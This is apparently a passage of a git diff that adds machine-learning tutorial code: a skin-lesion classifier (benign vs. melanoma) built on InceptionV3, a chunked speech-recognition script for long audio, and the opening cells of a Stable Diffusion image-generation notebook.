24pLc7Xm43VIzUbWWqduTpwk3q8neM92vCbVmbgWL6RdLTJQOYjGJMB7kOjgmSj/g5g05T6LHzUp8oLoCV+GVYpp20pRwHl03hDiJVrRuUMMTRU2YpuBb8XUOd1IM5qijTfpIMIxQrMadFmkEyY0etBKBv0ZSu2wh9SOqVmJK1oo4RGw7R6lRdoGSKSFRMtSVuHkYAzlGtHb03SO+rri/7rnqYaugyfKe/EfgU8Ar+FGjeD2T96zyYL0iDwEzOUo8yEzZZpQaJB/TGVQ5oHKEECnjE+b0ObqZo01BKyfUQhzQkuNebHsFEhM6dQKbNoFsJoxbHTd5SzGQ6xVOGypjyXagHyVIKGdwswatPMXULFYLhm5PGvYslmfshoEydbhmzunlJY8PH9i8+waTIyeffsnduz+xOH/OsH2g3z9w9uwT1jdfcXr+iof1nv6wJxfH4uQ5Og50uzWpekEaOiyRNI4csjCQlqcX7De3eLYEs/x+xRm6gdligfaefphoq4rTF8+5+t1vUL6RxOvHOwgDJYK3Fd3tDeXiAmcslfWMfc+sXbDt17hFTbq7xdnClCbMosYoT04ZZwEypp2jrUHZmtBvUOOEClsshjxJY6jkQfCNUYtq42zFqu+5vrqntjUf1iOzkyWLk1N0PcPXFX044O2IaVqcytRovK2oqpZ2cYLSE7v9AT1GPnxzw9OYqEzh1bJm9lzRLGeCZOm3ckW0R6LCkNBKPkRSJtnpyJTdYZw9UvQqciqYeiYaW12gJJRVhByBgq9E7E6Wf+oikZPpCCcvGnLraGYnlDARdzvSkNERVDZi61KJNA3kNGGjIx16qKU4dZSurtLi0aXryEOQK7xWTNPA7ptbrC8sLp+hfc31N2vedXI6dkXi+dbHj+ZXDawWinZVkYaBUhBQFoo4HIUQ4/GKHkZUClQsySngK0XYHwj7LbpxlGEnemalUEra3tYK+VAlg3NW5svlQExbSjdilppkPMpKw4lSiFQiDEgR0y7wzZLiNCkpfFXh5pIRG1Nku7lHJ9BtiwmFYf9Ienpk9vJT1nfX9OtvMSFiZ2fsbt5SVTXd9pYSA95Edu9/TymKzd0N87PP6A+3uOUJ+6cPtKsLMDUhTxzW15ycfiLWPD+nURFSIfVb9gWM/euAr79ZnDoVTk9WNMtTnrod5/MlFM3pxWs23TeEesW0fYfJE8m3pG5NVbew3xNxTE8HfNsQS6TOntSAffUDrFbk+gZKYrq/YVY/JxYx/KZhhzu7FDhXSuR+i6k1WTeUkLEuH6FdCl002RRMNaOdL1BuzeL0hOlsxdPDPXk/8vnPX6NLYXXesLgwZF/RvX/CN4bm9IJpLXYyVXv8zFMZz+nJjPz+if8U4X+6G/h0vOH8+ZzZaoWNUFJB2ZrcD0cRgT3qUyUAiTAd0581yjcYawhTRBsn5mZlxLl/BEfpotHGEodJ5HVGOrVoSPbo/VyAKpqk1HEUJb+8+ARlE0lG3qhWKZgyTAG7sugMcexxVKQ8SJaKOJQhRoxz/OXmnul+zSIH2gvL7v0VTIkyFf4L8AOk2XMOPAL/YQYvnktsoGFEVUfRhVYULN57VFSEoUeHKO+tCbIZ0CmRJrCuRp2diCZ5GoFe3Ck648xRD680E4kcBpF7BktRWtRZ2lNUg9FOrhlVTRoCVhX84vRoJZPgKZ0nbDQCBnAVKgXq2SnGaCbjGda3hO0tpkTS9j0pPBE+/Jnn/+o/sL6/JocBP18S00S2Df3hjtSPzC4+x3vF+HRFtjN8jlTtKXHqmbdzDpsnnG2Yhi3zi0/p798x5ITWHc3iXEaQTx/+av2pIsjvj+vj+rj+ztbf9nN+XB/Xx/U/bH0szo/r4/o7XR+L8+P6uP5O18fi/Lg+rr/T9bE4P66P6+90fSzOj+vj+jtd/x9sVtpL2v0SmwAAAABJRU5ErkJggg==",
+            "text/plain": [
+              ""
+            ]
+          },
+          "metadata": {
+            "needs_background": "light"
+          },
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "predict_image_class(\"data/test/seborrheic_keratosis/ISIC_0012136.jpg\", m)"
+      ]
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "language": "python",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python",
+      "version": "3.9.12 (tags/v3.9.12:b28265d, Mar 23 2022, 23:52:46) [MSC v.1929 64 bit (AMD64)]"
+    },
+    "vscode": {
+      "interpreter": {
+        "hash": "f89a88aed07bbcd763ac68893150ace71e487877d8c6527a76855322f20001c6"
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/skin-cancer-detection/skin-cancer-detection.py b/machine-learning/skin-cancer-detection/skin-cancer-detection.py
new file mode 100644
index 00000000..a98283ed
--- /dev/null
+++ b/machine-learning/skin-cancer-detection/skin-cancer-detection.py
@@ -0,0 +1,361 @@
+# %%
+import tensorflow as tf
+import tensorflow_hub as hub
+import matplotlib.pyplot as plt
+import numpy as np
+import pandas as pd
+import seaborn as sns
+from tensorflow.keras.utils import get_file
+from sklearn.metrics import roc_curve, auc, confusion_matrix
+from imblearn.metrics import sensitivity_score, specificity_score
+
+import os
+import glob
+import zipfile
+import random
+
+# to get consistent results after multiple runs
+tf.random.set_seed(7)
+np.random.seed(7)
+random.seed(7)
+
+# 0 for benign, 1 for malignant
+class_names = ["benign", "malignant"]
+
+
+def download_and_extract_dataset():
+  # dataset from https://github.com/udacity/dermatologist-ai
+  # 5.3GB
+  train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip"
+  # 824.5MB
+  valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip"
+  # 5.1GB
+  test_url  = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip"
+  for i, download_link in enumerate([valid_url, train_url, test_url]):
+    temp_file = f"temp{i}.zip"
+    data_dir = get_file(origin=download_link, fname=os.path.join(os.getcwd(), temp_file))
+    print("Extracting", download_link)
+    with zipfile.ZipFile(data_dir, "r") as z:
+      z.extractall("data")
+    # remove the temp file
+    os.remove(temp_file)
+
+# comment the below line if you already downloaded the dataset
+download_and_extract_dataset()
+
+# %%
+# preparing data
+# generate CSV metadata file to read img paths and labels from it
+def generate_csv(folder, label2int):
+    folder_name = os.path.basename(folder)
+    labels = list(label2int)
+    # generate CSV file
+    df = pd.DataFrame(columns=["filepath", "label"])
+    i = 0
+    for label in labels:
+        print("Reading", os.path.join(folder, label, "*"))
+        for filepath in glob.glob(os.path.join(folder, label, "*")):
+            df.loc[i] = [filepath, label2int[label]]
+            i += 1
+    output_file = f"{folder_name}.csv"
+    print("Saving", output_file)
+    df.to_csv(output_file)
+
+# generate CSV files for all data portions, labeling nevus and seborrheic keratosis
+# as 0 (benign), and melanoma as 1 (malignant)
+# you should replace "data" path to your extracted dataset path
+# don't replace if you used download_and_extract_dataset() function
+generate_csv("data/train", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1})
+generate_csv("data/valid", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1})
+generate_csv("data/test", {"nevus": 0, "seborrheic_keratosis": 0, "melanoma": 1})
+
+# %%
+# loading data
+train_metadata_filename = "train.csv"
+valid_metadata_filename = "valid.csv"
+# load CSV files as DataFrames
+df_train = pd.read_csv(train_metadata_filename)
+df_valid = pd.read_csv(valid_metadata_filename)
+n_training_samples = len(df_train)
+n_validation_samples = len(df_valid)
+print("Number of training samples:", n_training_samples)
+print("Number of validation samples:", n_validation_samples)
+train_ds = tf.data.Dataset.from_tensor_slices((df_train["filepath"], df_train["label"]))
+valid_ds = tf.data.Dataset.from_tensor_slices((df_valid["filepath"], df_valid["label"]))
+
+# %%
+# preprocess data
+def decode_img(img):
+  # convert the compressed string to a 3D uint8 tensor
+  img = tf.image.decode_jpeg(img, channels=3)
+  # Use `convert_image_dtype` to convert to floats in the [0,1] range.
+  img = tf.image.convert_image_dtype(img, tf.float32)
+  # resize the image to the desired size.
+  return tf.image.resize(img, [299, 299])
+
+
+def process_path(filepath, label):
+  # load the raw data from the file as a string
+  img = tf.io.read_file(filepath)
+  img = decode_img(img)
+  return img, label
+
+
+valid_ds = valid_ds.map(process_path)
+train_ds = train_ds.map(process_path)
+# test_ds = test_ds
+for image, label in train_ds.take(1):
+    print("Image shape:", image.shape)
+    print("Label:", label.numpy())
+
+# %%
+# training parameters
+batch_size = 64
+optimizer = "rmsprop"
+
+# %%
+def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):
+  if cache:
+    if isinstance(cache, str):
+      ds = ds.cache(cache)
+    else:
+      ds = ds.cache()
+  # shuffle the dataset
+  ds = ds.shuffle(buffer_size=shuffle_buffer_size)
+
+  # Repeat forever
+  ds = ds.repeat()
+  # split to batches
+  ds = ds.batch(batch_size)
+
+  # `prefetch` lets the dataset fetch batches in the background while the model
+  # is training.
+  ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)
+
+  return ds
+
+
+valid_ds = prepare_for_training(valid_ds, batch_size=batch_size, cache="valid-cached-data")
+train_ds = prepare_for_training(train_ds, batch_size=batch_size, cache="train-cached-data")
+
+# %%
+batch = next(iter(valid_ds))
+
+def show_batch(batch):
+  plt.figure(figsize=(12,12))
+  for n in range(25):
+      ax = plt.subplot(5,5,n+1)
+      plt.imshow(batch[0][n])
+      plt.title(class_names[batch[1][n].numpy()].title())
+      plt.axis('off')
+        
+show_batch(batch)
+
+# %%
+# building the model
+# InceptionV3 model & pre-trained weights
+module_url = "https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4"
+m = tf.keras.Sequential([
+    hub.KerasLayer(module_url, output_shape=[2048], trainable=False),
+    tf.keras.layers.Dense(1, activation="sigmoid")
+])
+
+m.build([None, 299, 299, 3])
+m.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"])
+m.summary()
+
+# %%
+model_name = f"benign-vs-malignant_{batch_size}_{optimizer}"
+tensorboard = tf.keras.callbacks.TensorBoard(log_dir=os.path.join("logs", model_name))
+# saves model checkpoint whenever we reach better weights
+modelcheckpoint = tf.keras.callbacks.ModelCheckpoint(model_name + "_{val_loss:.3f}.h5", save_best_only=True, verbose=1)
+
+history = m.fit(train_ds, validation_data=valid_ds, 
+                steps_per_epoch=n_training_samples // batch_size, 
+                validation_steps=n_validation_samples // batch_size, verbose=1, epochs=100,
+                callbacks=[tensorboard, modelcheckpoint])
+
+# %%
+# evaluation
+
+# load testing set
+test_metadata_filename = "test.csv"
+df_test = pd.read_csv(test_metadata_filename)
+n_testing_samples = len(df_test)
+print("Number of testing samples:", n_testing_samples)
+test_ds = tf.data.Dataset.from_tensor_slices((df_test["filepath"], df_test["label"]))
+
+def prepare_for_testing(ds, cache=True, shuffle_buffer_size=1000):
+  # This is a small dataset, only load it once, and keep it in memory.
+  # use `.cache(filename)` to cache preprocessing work for datasets that don't
+  # fit in memory.
+  if cache:
+    if isinstance(cache, str):
+      ds = ds.cache(cache)
+    else:
+      ds = ds.cache()
+
+  ds = ds.shuffle(buffer_size=shuffle_buffer_size)
+
+  return ds
+
+
+test_ds = test_ds.map(process_path)
+test_ds = prepare_for_testing(test_ds, cache="test-cached-data")
+
+# %%
+# convert testing set to numpy array to fit in memory (don't do that when testing
+# set is too large)
+y_test = np.zeros((n_testing_samples,))
+X_test = np.zeros((n_testing_samples, 299, 299, 3))
+for i, (img, label) in enumerate(test_ds.take(n_testing_samples)):
+  # print(img.shape, label.shape)
+  X_test[i] = img
+  y_test[i] = label.numpy()
+
+print("y_test.shape:", y_test.shape)
+
+# %%
+# load the weights with the least loss
+m.load_weights("benign-vs-malignant_64_rmsprop_0.399.h5")
+
+# %%
+print("Evaluating the model...")
+loss, accuracy = m.evaluate(X_test, y_test, verbose=0)
+print("Loss:", loss, "  Accuracy:", accuracy)
+
+# %%
+from sklearn.metrics import accuracy_score
+
+def get_predictions(threshold=None):
+  """
+  Returns predictions for binary classification given `threshold`
+  For instance, if threshold is 0.3, then it'll output 1 (malignant) for that sample if
+  the probability of 1 is 30% or more (instead of 50%)
+  """
+  y_pred = m.predict(X_test)
+  if not threshold:
+    threshold = 0.5
+  result = np.zeros((n_testing_samples,))
+  for i in range(n_testing_samples):
+    # test melanoma probability
+    if y_pred[i][0] >= threshold:
+      result[i] = 1
+    # else, it's 0 (benign)
+  return result
+
+threshold = 0.23
+# get predictions with 23% threshold
+# which means if the model is 23% sure or more that is malignant,
+# it's assigned as malignant, otherwise it's benign
+y_pred = get_predictions(threshold)
+accuracy_after = accuracy_score(y_test, y_pred)
+print("Accuracy after setting the threshold:", accuracy_after)
+
+# %%
+import seaborn as sns
+from sklearn.metrics import roc_curve, auc, confusion_matrix
+
+def plot_confusion_matrix(y_test, y_pred):
+  cmn = confusion_matrix(y_test, y_pred)
+  # Normalise
+  cmn = cmn.astype('float') / cmn.sum(axis=1)[:, np.newaxis]
+  # print it
+  print(cmn)
+  fig, ax = plt.subplots(figsize=(10,10))
+  sns.heatmap(cmn, annot=True, fmt='.2f', 
+              xticklabels=[f"pred_{c}" for c in class_names], 
+              yticklabels=[f"true_{c}" for c in class_names],
+              cmap="Blues"
+              )
+  plt.ylabel('Actual')
+  plt.xlabel('Predicted')
+  # plot the resulting confusion matrix
+  plt.show()
+
+
+def plot_roc_auc(y_true, y_pred):
+    """
+    This function plots the ROC curves and provides the scores.
+    """
+    # prepare for figure
+    plt.figure()
+    fpr, tpr, _ = roc_curve(y_true, y_pred)
+    # obtain ROC AUC
+    roc_auc = auc(fpr, tpr)
+    # print score
+    print(f"ROC AUC: {roc_auc:.3f}")
+    # plot ROC curve
+    plt.plot(fpr, tpr, color="blue", lw=2,
+                label='ROC curve (area = {f:.2f})'.format(d=1, f=roc_auc))
+    plt.xlim([0.0, 1.0])
+    plt.ylim([0.0, 1.05])
+    plt.xlabel('False Positive Rate')
+    plt.ylabel('True Positive Rate')
+    plt.title('ROC curves')
+    plt.legend(loc="lower right")
+    plt.show()
+
+plot_confusion_matrix(y_test, y_pred)
+plot_roc_auc(y_test, y_pred)
+sensitivity = sensitivity_score(y_test, y_pred)
+specificity = specificity_score(y_test, y_pred)
+
+print("Melanoma Sensitivity:", sensitivity)
+print("Melanoma Specificity:", specificity)
+
+# %%
+def plot_images(X_test, y_pred, y_test):
+  predicted_class_names = np.array([class_names[int(round(id))] for id in y_pred])
+  # some nice plotting
+  plt.figure(figsize=(10,9))
+  for n in range(30, 60):
+      plt.subplot(6,5,n-30+1)
+      plt.subplots_adjust(hspace = 0.3)
+      plt.imshow(X_test[n])
+      # get the predicted label
+      predicted_label = predicted_class_names[n]
+      # get the actual true label
+      true_label = class_names[int(round(y_test[n]))]
+      if predicted_label == true_label:
+          color = "blue"
+          title = predicted_label.title()
+      else:
+          color = "red"
+          title = f"{predicted_label.title()}, true:{true_label.title()}"
+      plt.title(title, color=color)
+      plt.axis('off')
+  _ = plt.suptitle("Model predictions (blue: correct, red: incorrect)")
+  plt.show()
+
+plot_images(X_test, y_pred, y_test)
+
+# %%
+# a function given a function, it predicts the class of the image
+def predict_image_class(img_path, model, threshold=0.5):
+  img = tf.keras.preprocessing.image.load_img(img_path, target_size=(299, 299))
+  img = tf.keras.preprocessing.image.img_to_array(img)
+  img = tf.expand_dims(img, 0) # Create a batch
+  img = tf.keras.applications.inception_v3.preprocess_input(img)
+  img = tf.image.convert_image_dtype(img, tf.float32)
+  predictions = model.predict(img)
+  score = predictions.squeeze()
+  if score >= threshold:
+    print(f"This image is {100 * score:.2f}% malignant.")
+  else:
+    print(f"This image is {100 * (1 - score):.2f}% benign.")
+    
+  plt.imshow(img[0])
+  plt.axis('off')
+  plt.show()
+
+# %%
+predict_image_class("data/test/melanoma/ISIC_0013767.jpg", m)
+
+# %%
+predict_image_class("data/test/nevus/ISIC_0012092.jpg", m)
+
+# %%
+predict_image_class("data/test/seborrheic_keratosis/ISIC_0012136.jpg", m)
+
+
diff --git a/machine-learning/speech-recognition/30-4447-0004.wav b/machine-learning/speech-recognition/30-4447-0004.wav
new file mode 100644
index 00000000..c1490955
Binary files /dev/null and b/machine-learning/speech-recognition/30-4447-0004.wav differ
diff --git a/machine-learning/speech-recognition/7601-291468-0006.wav b/machine-learning/speech-recognition/7601-291468-0006.wav
new file mode 100644
index 00000000..0f6d5f83
Binary files /dev/null and b/machine-learning/speech-recognition/7601-291468-0006.wav differ
diff --git a/machine-learning/speech-recognition/long_audio_recognizer.py b/machine-learning/speech-recognition/long_audio_recognizer.py
new file mode 100644
index 00000000..f242f92c
--- /dev/null
+++ b/machine-learning/speech-recognition/long_audio_recognizer.py
@@ -0,0 +1,103 @@
+# importing libraries 
+import speech_recognition as sr 
+import os 
+from pydub import AudioSegment
+from pydub.silence import split_on_silence
+
+# create a speech recognition object
+r = sr.Recognizer()
+
+# a function to recognize speech in the audio file
+# so that we don't repeat ourselves in in other functions
+def transcribe_audio(path):
+    # use the audio file as the audio source
+    with sr.AudioFile(path) as source:
+        audio_listened = r.record(source)
+        # try converting it to text
+        text = r.recognize_google(audio_listened)
+    return text
+
+# a function that splits the audio file into chunks on silence
+# and applies speech recognition
+def get_large_audio_transcription_on_silence(path):
+    """Splitting the large audio file into chunks
+    and apply speech recognition on each of these chunks"""
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split audio sound where silence is 500 miliseconds or more and get chunks
+    chunks = split_on_silence(sound,
+        # experiment with this value for your target audio file
+        min_silence_len = 500,
+        # adjust this per requirement
+        silence_thresh = sound.dBFS-14,
+        # keep the silence for 1 second, adjustable as well
+        keep_silence=500,
+    )
+    folder_name = "audio-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        try:
+            text = transcribe_audio(chunk_filename)
+        except sr.UnknownValueError as e:
+            print("Error:", str(e))
+        else:
+            text = f"{text.capitalize()}. "
+            print(chunk_filename, ":", text)
+            whole_text += text
+    # return the text for all chunks detected
+    return whole_text
+
+
+# a function that splits the audio file into fixed interval chunks
+# and applies speech recognition
+def get_large_audio_transcription_fixed_interval(path, minutes=5):
+    """Splitting the large audio file into fixed interval chunks
+    and apply speech recognition on each of these chunks"""
+    # open the audio file using pydub
+    sound = AudioSegment.from_file(path)  
+    # split the audio file into chunks
+    chunk_length_ms = int(1000 * 60 * minutes) # convert to milliseconds
+    chunks = [sound[i:i + chunk_length_ms] for i in range(0, len(sound), chunk_length_ms)]
+    folder_name = "audio-fixed-chunks"
+    # create a directory to store the audio chunks
+    if not os.path.isdir(folder_name):
+        os.mkdir(folder_name)
+    whole_text = ""
+    # process each chunk 
+    for i, audio_chunk in enumerate(chunks, start=1):
+        # export audio chunk and save it in
+        # the `folder_name` directory.
+        chunk_filename = os.path.join(folder_name, f"chunk{i}.wav")
+        audio_chunk.export(chunk_filename, format="wav")
+        # recognize the chunk
+        try:
+            text = transcribe_audio(chunk_filename)
+        except sr.UnknownValueError as e:
+            print("Error:", str(e))
+        else:
+            text = f"{text.capitalize()}. "
+            print(chunk_filename, ":", text)
+            whole_text += text
+    # return the text for all chunks detected
+    return whole_text
+
+
+
+if __name__ == '__main__':
+    import sys
+    # path = "30-4447-0004.wav"
+    # path = "7601-291468-0006.wav"
+    path = sys.argv[1]
+    print("\nFull text:", get_large_audio_transcription_on_silence(path))
+    print("="*50)
+    print("\nFull text:", get_large_audio_transcription_fixed_interval(path, minutes=1/6))
+    
\ No newline at end of file
diff --git a/machine-learning/speech-recognition/requirements.txt b/machine-learning/speech-recognition/requirements.txt
index 9d62c65f..77c44376 100644
--- a/machine-learning/speech-recognition/requirements.txt
+++ b/machine-learning/speech-recognition/requirements.txt
@@ -1 +1,3 @@
-speech_recognition
\ No newline at end of file
+speech_recognition
+pyaudio
+pydub
\ No newline at end of file
diff --git a/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..aee6b7dc
--- /dev/null
+++ b/machine-learning/stable-diffusion-models/GenerateImagesFromText_StableDiffusion_PythonCodeTutorial.ipynb
@@ -0,0 +1,6326 @@
+{
+  "cells": [
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "ZgIU4Ga56Tiq",
+        "outputId": "764ce650-379a-4bed-d5fb-b5052af024c9"
+      },
+      "outputs": [],
+      "source": [
+        "%pip install --quiet --upgrade diffusers transformers accelerate"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "S919oAK46Z8x",
+        "outputId": "74fe51b4-157d-48a0-9067-6947e2a71bb8"
+      },
+      "outputs": [],
+      "source": [
+        "# The xformers package is mandatory to be able to create several 768x768 images.\n",
+        "%pip install -q xformers==0.0.16rc425"
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "Dn2_-E5Sa9Rn"
+      },
+      "source": [
+        "# Using Dreamlike Photoreal"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "WGIvJ0hE6Z_B"
+      },
+      "outputs": [],
+      "source": [
+        "from diffusers import StableDiffusionPipeline\n",
+        "import torch"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 433,
+          "referenced_widgets": [
+            "d02fc695003f435e9ec25e5ab7eec2bc",
+            "e16097842da34cd0bc24cfaeab3de404",
+            "0d2fba8088804ecab806472f5396f1bc",
+            "8bef2ecbcbcf4ad1bb5e495a52ca2aa6",
+            "9a2aa30940934458ae53131db74a7406",
+            "45e95708fe6043c68fd25d8802778998",
+            "da5028411a634a2eb2e1ed3fcc53ed6c",
+            "bc42d1c7cdcd4064a1dbcc3eb1f3009b",
+            "fe3c4a4e4c8b4752a1f1d88da73fb808",
+            "62924d5b19784abcaa672d995fc15127",
+            "833477c7e6144deba2f9a7e1e3fb7c12",
+            "89129c49f76e497a8fb218b8126dc4d9",
+            "4ac86feba0924fad8c82be426d774ce4",
+            "379e92c07edc4ad28165c8b0926746d5",
+            "a144d82a835e4d48b987fecd5af96b6c",
+            "fc3fc7c8bb714f39a67963f2792b527d",
+            "3a0dacdec71447a490820baf3a405580",
+            "bf0a27e1f6f3454fafa2bb04a16e4ba6",
+            "06a9b1722db8473597c3a6cf17dafa29",
+            "621ceb287f8243f5a2952613c01f3f82",
+            "d78921386a5b493ab86718077b16a945",
+            "42ad2fe1e9ee44dcb9d3b7c6af9a87a1",
+            "dbccb67e488b40faa3719e8db6e562a2",
+            "d2598bdd44164f77a581fb0afad817f6",
+            "03fe79b7b7c5439c99fef039f96a831b",
+            "9ac0da7a10a54fbe897b21184cdf154f",
+            "32e55f352157421aa3e1fef5819b3587",
+            "23cd6b916dfe4e5faa4021cf02d07f53",
+            "d97f27872680454ba3574589b371ea97",
+            "d438504eef684317a6c09cc0b123d25d",
+            "26b8bf61f8e44014a005ed10835f68b5",
+            "faa6428f4b7b4cb996cc4d5ca9bcb38c",
+            "b4f99623a96f4d18989cf117b4c91660",
+            "8ae0743d19d74e3aabfe4b5ba54fd7ca",
+            "0072680043674280bcde9c4bc19b3704",
+            "13e357cba1ee4e31887f2c260f2cea15",
+            "41c2930f406d484ca7e1e8a4c13f9b35",
+            "0468827f86394f7baf78d44264a225e7",
+            "260d5617f5e247f3a978a28d5fe72740",
+            "5eba2d04c1c54016834e7dddd253a380",
+            "5573d97394b144d6b8f4065bf81e6d05",
+            "245a11e3ca454d26895c46a5c08be822",
+            "12808180b0b64ecd90839c791134b5fb",
+            "115b71885ef241fb8884e8de28dfdb8c",
+            "51b9487b43204e23bc11c2693f46ff72",
+            "2c63224632c04b159f2c9453e4ca3c15",
+            "5568e424494e406ea991d0c778924aa8",
+            "f0d04527bbe94bfdb91353827c2ad7db",
+            "d1bf7fca5177409290ea45d701774d6d",
+            "68b6a1a9d4c7422d9263e00cbd956be1",
+            "c79ef9b35d014fdfb9f88fc09e870d01",
+            "77755839ec0946c5b33488dd412f4d58",
+            "f7d7fb787f884822aa3e5cdbfab22b1d",
+            "016df28dd739433daa2c8d3b1706486c",
+            "43aa766628a147548714ef986c9d979a",
+            "7989fe19c8b749ddaa60c5c7b5cec0ea",
+            "773661aa8b6e4c0db5238cfe398b2b5b",
+            "21d9342ed95d4bf0959647ef57fceb97",
+            "0bb6ef1e3a2d43ca970723b0e5ac93cf",
+            "0b9c78977b6a45da9aa6ada3332fbc28",
+            "67a3104f358e48459f458fddf98b826e",
+            "b63595513fec4e81a0a8200294faf7ba",
+            "ad2f2fd194ac4bca909e5af122370e3d",
+            "0c34c9ecc697483e831333d67a48ff32",
+            "134ae8a21fc2489e9e7524eb856ef778",
+            "7debd7332d4a4811ad653398344420f4",
+            "e9e33bc9dfd843e88f9f56c0400b07e2",
+            "9307ea294e42484eb32d8b07fddd33dd",
+            "a509f68381854d7da52a21dde99a9f62",
+            "406fd8a742b443968d3f2fc1d3dbfef1",
+            "03433d859a7a4f3cae64d9d0bf374643",
+            "b02317ef6e514fa9b2c58c64e7702533",
+            "df83f20f558f43b9bf1e447316e9de4a",
+            "1cfa604ca2924c25930887b466ac3e9b",
+            "26aac0b253ba4e2e8f19acfa0bead5a7",
+            "7d9b49d6dbfc41988b2c3c6ac40a3cae",
+            "35b84a2a8e0749268b14492abcf0af1f",
+            "14bc95aacebc43a8877bc36c58effccf",
+            "30f32feefcbd486c86cb68c927dd9fca",
+            "0e46fe7538ed4df9b8fa1f36b4b35cdd",
+            "6e0be2c85237496eb97b53963654dffa",
+            "9c751e805d96415d9608c2422906d76e",
+            "1923427b93ae424bb5d91bab418506a9",
+            "c99c614b55ba44fbb2927642128fba9b",
+            "ec377a46cf8647ff891a920c46897786",
+            "4e264808109e4b52983260067550883e",
+            "163075971def4198b5cc7a0d5ec3c81d",
+            "9984e9b0a929433ab6e4501538a60c80",
+            "d26404f63c3240d28ed1af7527307317",
+            "7f29483722954a3697afb9cb24430e8c",
+            "ad3538e88909423a9a8d109bd97745a5",
+            "f1e7ac9f310140f0adac525362d99180",
+            "ce3ebc0beb214d9b9df35c37eff91505",
+            "209020cdb39942178adbc7cc3acf1cb0",
+            "e68ae70236b04e5aa6c5de879ca81e9e",
+            "caf7f52d17334c0ea9141fb27dbb5bd1",
+            "3634354fd978434bbad0fd11d3e0b5fb",
+            "9e1a5419468d4549a38b8d23aa14f6d3",
+            "98eab664cdee4999bb09af5abe60535f",
+            "61325b5427e44d0885d95a82fc44cfd6",
+            "37735d14a2614ffbbceaef743d2033a9",
+            "80916d39f0bc426488b41a013196cc42",
+            "7badbb79920e43b9a6f6317e7b746384",
+            "693b0b6df20e4f2caeaeb4838b37d8bb",
+            "341f088c9e0f4eb2ae3f4868b4dcb835",
+            "2733152e7214400abdf0e793358181b3",
+            "d44653455b8a490997da5bfd8672cf7e",
+            "090573574f8d48a1b9d2918d14c75c9a",
+            "dfdaf22078fd4385ab30060981d67666",
+            "3eee3667ff024f2a875dcf57f00d7f70",
+            "9512cb52fe3a44d0bd0f52daed6139d9",
+            "de35fccd4b4a433e8b468ef3981bede9",
+            "ff35f85d2db0404da5e01fbda308197a",
+            "221469404d3946f39b4c97e708385b88",
+            "1d6c6e3129bc4702afae1facf2b8ba6b",
+            "d0c8dcdbf9f44ca1bc74ea1e2f127b0f",
+            "5e09f80f20554f419d925c5cdf55cc63",
+            "34714076cb4b479eab2c5ec6a6c7d50e",
+            "22d3e015ffd24db8aa145fab92c1901c",
+            "37ceac6f039642cab04a03a8afb9f301",
+            "0ce4a494f2274147b9005aa03358b263",
+            "e8f385dcd70f40d28cd27ba5d7edcef8",
+            "3bc08cdf09a84428a51955f2aa42ea30",
+            "cb68043195a642b3a495d82d87ffd1b8",
+            "0cf91d0dc45340f19f6a7a2804000145",
+            "dff99876d1e3468bb3cbd97160ecd7a1",
+            "0a8793f9c57f48b299703b7945163b50",
+            "edb8b182bc4a413185e754aae38ee93a",
+            "597a8eacf00b406ab23af333aea97e3c",
+            "20396dbdc36b47538a5fd6b522478b67",
+            "3eec3e2c3abe40efb74a05a67bf755a0",
+            "e288ede57ad84b2bb455ba18016c68d8",
+            "8924eb6712b146bd977f21c46531338b",
+            "ede27ca6747240eeb41a9dbde664e8a7",
+            "45ed824c2cd746c09e61dc8a2bdd3384",
+            "3f94af984ba84b838643b03caf8d2d4e",
+            "2e9985de92164304b5b4c8b723d24cf1",
+            "99777597ceee470ca8c8a34f4846435a",
+            "ca063f5b64d74bc9be303eebe7092f81",
+            "7d654e85d8794af197e72f905086b9a7",
+            "f3804bde7c974eaf90df71e9fdd3539b",
+            "dba967ac191d45a0b604e93f0dc1fffe",
+            "f8cc05786ad94dcca69f1fedf6d4aa4a"
+          ]
+        },
+        "id": "JzcSCwsF6aBT",
+        "outputId": "1f223f71-54ed-49fe-8cb5-dcfc183a7c3f"
+      },
+      "outputs": [],
+      "source": [
+        "model_id = \"dreamlike-art/dreamlike-photoreal-2.0\"\n",
+        "pipe = StableDiffusionPipeline.from_pretrained(model_id, torch_dtype=torch.float16)\n",
+        "pipe = pipe.to(\"cuda\")"
+      ]
+    },
+    {
